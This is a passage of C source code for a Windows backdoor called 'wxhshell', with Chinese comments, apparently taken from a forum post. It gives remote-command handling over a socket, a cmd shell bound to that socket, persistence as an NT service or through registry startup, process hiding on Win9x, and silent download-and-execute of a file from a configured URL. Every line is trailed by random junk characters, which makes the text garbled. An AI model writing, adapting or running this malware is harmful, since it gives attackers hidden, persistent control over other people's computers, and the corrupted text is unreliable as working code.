      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "-9YvB#  
    break; .._wTOSq  
  } B*{CcQ<5  
  // 安装 KQk;:1hW  
  case 'i': { $ _zdjzT  
    if(Install()) wS4zAu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F=cO=5Iz  
    else g#e"BBm=A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IzG7!K  
    break; i<l)To-  
    } g$ h!:wW  
  // 卸载 J;qHw[6  
  case 'r': { 0F"xU1z,  
    if(Uninstall()) MDRSI g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z~F!zigNAc  
    else &{>~ |^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B!:(*lF  
    break; 9%x[z%06  
    } \ZA%"F){  
  // 显示 wxhshell 所在路径 pJqayzV  
  case 'p': { )|:|.`H  
    char svExeFile[MAX_PATH]; 1\1o65en  
    strcpy(svExeFile,"\n\r"); E 0YXgQa  
      strcat(svExeFile,ExeFile);  l)?c3  
        send(wsh,svExeFile,strlen(svExeFile),0); {w2<;YXj!  
    break; F](kU#3"S  
    } "*UHit;"+{  
  // 重启 1iUy*p65:  
  case 'b': { BQm H9g|2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T =:^k+  
    if(Boot(REBOOT)) M$w^g8F27H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aw(P@9]  
    else { DY1o!thz)  
    closesocket(wsh); bygwoZ<E  
    ExitThread(0); "UE'd Wz  
    } UXd\Q''  
    break; pJ{sBp_$  
    } _r&#Snp  
  // 关机  @521 zi  
  case 'd': { zITXEorF!J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); il*bsnwpZv  
    if(Boot(SHUTDOWN)) 9khD7v   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hNQ,U{`;^  
    else { 6,k}v:  
    closesocket(wsh); !dZHG R  
    ExitThread(0); A w83@U  
    } L|v1=qNH4  
    break; En1pz\'  
    } 7.]ZD`"Bb  
  // 获取shell gbF.Q7?$u  
  case 's': { JTVCaL3Z  
    CmdShell(wsh); tL D.e  
    closesocket(wsh); *F=w MWa  
    ExitThread(0); 2Ddrxc>48  
    break; hF6EOCY6D  
  } )4j#gHN\  
  // 退出 &0M^UvO  
  case 'x': { Q|:\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mgS%YG  
    CloseIt(wsh); @n<WM@|l  
    break; B;^7Yu0,  
    } #[IQmU23  
  // 离开 zc(- dMlK  
  case 'q': { t0/fF'GZD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sURHj&:t|  
    closesocket(wsh); TzVNZDQ`Jl  
    WSACleanup(); ^G15]Pyw  
    exit(1); * ,,D%L  
    break; 2&dtOyxo>  
        } )PZ'{S  
  } e KET8v[  
  } 2OEO b,`  
#qHo+M$"  
  // 提示信息 *Bc= gl$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (G:$/fK  
} o <sX6a9e  
  } /z6NJ2jb  
]e R1 +Nl  
  return; |FH/Q-7[  
} an.)2*u  
je.mX/Lpj  
// shell模块句柄 "{|9Yis=  
int CmdShell(SOCKET sock) r%F{1.  
{ 'H:lR1(,  
STARTUPINFO si; H=EvT'g  
ZeroMemory(&si,sizeof(si)); pkhZW8O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Aqq%HgY:t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \S3C"P%w  
PROCESS_INFORMATION ProcessInfo; IeE+h-3p  
char cmdline[]="cmd"; eo"6 \3z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l1a=r:WhH  
  return 0; ~,.Agx  
} TR| G4l?  
^BW V6  
// 自身启动模式 s\_ ,aI  
int StartFromService(void) @r'8<6hVO  
{ gZ:)l@ Wu  
typedef struct .BuY[,I+  
{ WC0@g5;1[  
  DWORD ExitStatus; v$lP?\P;}X  
  DWORD PebBaseAddress; (V}D PA  
  DWORD AffinityMask; s+9q :  
  DWORD BasePriority; $}N'm  
  ULONG UniqueProcessId; XswEAz0=  
  ULONG InheritedFromUniqueProcessId; EPW Iu)A  
}   PROCESS_BASIC_INFORMATION; [[ H XOPaV  
^<7)w2ns  
PROCNTQSIP NtQueryInformationProcess; }fUV*U:3  
7'd_]e-.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $U3s:VQ'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Xfk&{zO-j  
D:M0_4S  
  HANDLE             hProcess; | \C{R  
  PROCESS_BASIC_INFORMATION pbi; -7>vh|3  
 jmz, 1[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,@8>=rT  
  if(NULL == hInst ) return 0; 5,k&^CK}  
Ay/ "2pDZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %#Fd0L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y<I/y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -(@dMY  
"EDn;l-Q  
  if (!NtQueryInformationProcess) return 0; p~En~?<  
3T%WfS+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aa8WRf  
  if(!hProcess) return 0; /&Khk #  
8tY],  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rer=o S  
77.5 _  
  CloseHandle(hProcess); 79z(n[^  
Xq1n1_Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vH9/}w2  
if(hProcess==NULL) return 0; Lr V)}1&5  
/!uxP~2U  
HMODULE hMod; !zVuO*+  
char procName[255]; 2>_6b>9]  
unsigned long cbNeeded; 7JQ5OC3  
UXnd~DA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z{7&=$  
*4dA(N\k"  
  CloseHandle(hProcess); ~W_m<#K(  
#92 :h6  
if(strstr(procName,"services")) return 1; // 以服务启动 1ki##v[ W8  
8J7 xs6@  
  return 0; // 注册表启动 ]@)X3}"!  
} z ~T[%RjO  
@_YlHe&W  
// 主模块 -H#{[M8xX  
int StartWxhshell(LPSTR lpCmdLine) D/"[/!  
{ Zm4IN3FGLv  
  SOCKET wsl; Ul)2A  
BOOL val=TRUE; 8yF15['  
  int port=0; Q+[gGe JUF  
  struct sockaddr_in door; z+C>P4c-y&  
HJ:s)As  
  if(wscfg.ws_autoins) Install(); fr4#< 6,  
}b\e2ZK  
port=atoi(lpCmdLine); #db8ur3?  
@q}.BcSg  
if(port<=0) port=wscfg.ws_port; j_H{_Ug  
s 'u6Ep/V  
  WSADATA data; ^8a,gA8.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =;9Wh!{  
Y7zg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s0~a5Ti3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r=~yUT  
  door.sin_family = AF_INET; x;?4AJ{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D\jRF-z  
  door.sin_port = htons(port); .R#p<"$I  
j *Ta?'*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (dLt$<F  
closesocket(wsl); c5+oP j  
return 1; pej/9{*xg(  
} b54<1\&  
?kI-o0@O.  
  if(listen(wsl,2) == INVALID_SOCKET) { +^iUY%pm  
closesocket(wsl); By]XD~gcP  
return 1; kOmTji7  
} [-x~Q[  
  Wxhshell(wsl); @kenv3[Lc  
  WSACleanup(); a]>gDDF  
7<<pP  
return 0; ;O}%_ef@  
h/ ?8F^C#v  
} rp6Y&3p.  
>JkQ U e  
// 以NT服务方式启动 bc}U &X<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ou"QUn|  
{ f<= #WV  
DWORD   status = 0; ; =ai]AYW  
  DWORD   specificError = 0xfffffff; nU-.a5  
H [wJ; l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qx1ZxJz #  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cpF\^[D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dE7 kd=.o  
  serviceStatus.dwWin32ExitCode     = 0; [rC-3sGar  
  serviceStatus.dwServiceSpecificExitCode = 0; rRRiqmq  
  serviceStatus.dwCheckPoint       = 0; 3k` "%R.H  
  serviceStatus.dwWaitHint       = 0; idMb}fw>  
'ejuzE9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m\(4y Gj  
  if (hServiceStatusHandle==0) return; >Vy=5)/i  
 oJ ~ZzW  
status = GetLastError(); E3<jH  
  if (status!=NO_ERROR) ,B(UkPGT  
{ /J]Yj,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T;XEU%:LK  
    serviceStatus.dwCheckPoint       = 0; @s}I_@  
    serviceStatus.dwWaitHint       = 0; OB)Vk  
    serviceStatus.dwWin32ExitCode     = status; S7N3L."  
    serviceStatus.dwServiceSpecificExitCode = specificError; Qw!cd-zc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ({zt=}r,  
    return; 8xJdK'  
  } MCD]n  
=;-/( C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `r e]Q0IO  
  serviceStatus.dwCheckPoint       = 0; @vh3S+=M  
  serviceStatus.dwWaitHint       = 0; LyH8T'C~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p%EU,:I6  
} .Qg!_C  
kSv?p1\@&P  
// 处理NT服务事件,比如:启动、停止 $qYtN`b,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d/!sHr69  
{ "IA[;+_"  
switch(fdwControl) $v#Q'?jE  
{ sesr`,m.,  
case SERVICE_CONTROL_STOP: D|/Azy.[  
  serviceStatus.dwWin32ExitCode = 0; A)Wp W M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "#z4  
  serviceStatus.dwCheckPoint   = 0; ck>|p09q'9  
  serviceStatus.dwWaitHint     = 0; 5V!L~#  
  { TS^(<+'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jz QmYcd  
  } m3 C&QdjRp  
  return; JryDbGc8  
case SERVICE_CONTROL_PAUSE: kbJ/7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mq`N&ABO!K  
  break; v%n'_2J =^  
case SERVICE_CONTROL_CONTINUE: M`Jj!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SL" ;\[uI  
  break; -|B?pR  
case SERVICE_CONTROL_INTERROGATE: %_;q<@9)  
  break; \u ?z:mV  
}; ;W]NT 4p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hSSF]  
} 0kS[`a(}J  
M;OY+ |uA  
// 标准应用程序主函数 Vh$~]>t:f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x tg3~/H  
{ >gM|:FG  
V|zzj[c  
// 获取操作系统版本 I gcVl/d  
OsIsNt=GetOsVer(); IE.JIi^w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d!7cIYVZ  
KT~J@];Fb  
  // 从命令行安装 %Ez%pT0TQ#  
  if(strpbrk(lpCmdLine,"iI")) Install(); O|m-Uz"+  
3.U5Each-  
  // 下载执行文件 zB/$*Hd  
if(wscfg.ws_downexe) { sJg-FVe2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uy)iB'st&  
  WinExec(wscfg.ws_filenam,SW_HIDE); >DVjO9Kf  
} u4bPj2N8I  
(2(I|O#  
if(!OsIsNt) { htk5\^(X  
// 如果时win9x,隐藏进程并且设置为注册表启动 85Zy0l  
HideProc(); 28JWQ%-  
StartWxhshell(lpCmdLine); &1YAPxX  
} A]`63@-.  
else wr,X@y%(!  
  if(StartFromService()) i`Fg kABw  
  // 以服务方式启动 4N& VT"  
  StartServiceCtrlDispatcher(DispatchTable); |(N4ZmTm  
else dDbPM9]5  
  // 普通方式启动 2LGeRw  
  StartWxhshell(lpCmdLine); oRFHq>-.g  
>i7zV`eK  
return 0; ]S9~2;2^,  
}
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只看该作者 1 发表于: 2006-10-10
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